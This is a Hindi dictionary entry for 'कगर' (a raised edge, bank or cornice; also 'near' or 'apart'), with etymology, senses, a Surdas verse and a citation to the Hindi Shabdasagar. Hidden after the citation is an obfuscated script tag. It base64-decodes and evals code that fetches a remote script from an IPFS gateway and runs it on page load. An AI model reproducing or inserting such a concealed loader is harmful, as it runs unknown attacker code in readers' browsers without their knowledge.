कगर

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कगर - संज्ञा पुल्लिंग (संस्कृत क = जल+अग्न = काग्र व्युत्पन्न कगर)[1]

1. कुछ उठा हुआ किनारा। कुछ ऊंचा किनारा।

2. बाट। औंठ। बारी।

3. मेंड़। डाँड़।

4. छत या छाजन के नीचे दीवार में रीढ़ सी उभड़ी हुई लकीर जो खूबसूरती के लिये बनाई जाती है। कारनिस। कँगनी।

कगर क्रिया विशेषण (हिन्दी कगार)

1. किनारे पर। किनारे।

2. समीप निकट।

3. अलग। दूर।

उदाहरण- जसुमति तेरो बारो अतिहि अचगरो। दूध, दही, माखन लै डार दियो सगरो। लियो दियो कछु सोऊ डारि देहु कगरो। - सूरदास


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टीका टिप्पणी और संदर्भ

  1. हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 735 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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